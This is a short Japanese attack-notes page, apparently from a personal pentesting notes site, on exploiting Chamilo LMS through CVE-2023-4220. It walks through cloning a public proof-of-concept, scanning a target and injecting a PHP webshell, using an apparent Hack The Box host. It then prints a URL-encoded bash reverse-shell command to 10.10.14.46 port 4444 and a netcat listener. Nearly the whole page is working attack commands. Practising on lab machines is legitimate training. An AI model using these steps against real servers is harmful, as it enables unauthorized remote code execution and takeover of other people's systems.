> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/chamilo-cms-exploitation.md).
# Chamilo
CVE-2023-4220の認証なしファイルアップロードRCE、PHP Webシェル展開、コマンド実行、リバースシェルアクセスのためのChamilo LMS攻略ノート。
## Chamilo の脆弱性 /\[CVE-2023-4220]
Chamilo には CVE-2023-4220 の脆弱性があり、リモートコード実行（RCE）が可能です。以下の公開 PoC を使用してください:
{% embed url="" %}
#### GitHub リポジトリをクローンします：
```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```
2. 対象に脆弱性があるか確認するため、チェックを実行します：
```bash
python3 main.py -u http://example.com/chamilo -a scan
```
### Webシェル：
脆弱性が存在する場合、次を注入します： **PHP Webシェル** Chamilo に:
```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```
Webシェルが注入されると、対象上でコマンドを実行できます。
### リバースシェル：
リバースシェルを確立してマシンにアクセスするには、端末から次のコマンドを実行します：
```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```
その後、ポート 4444 でリスナーを起動します：
```bash
nc -nlvp 4444
```
---
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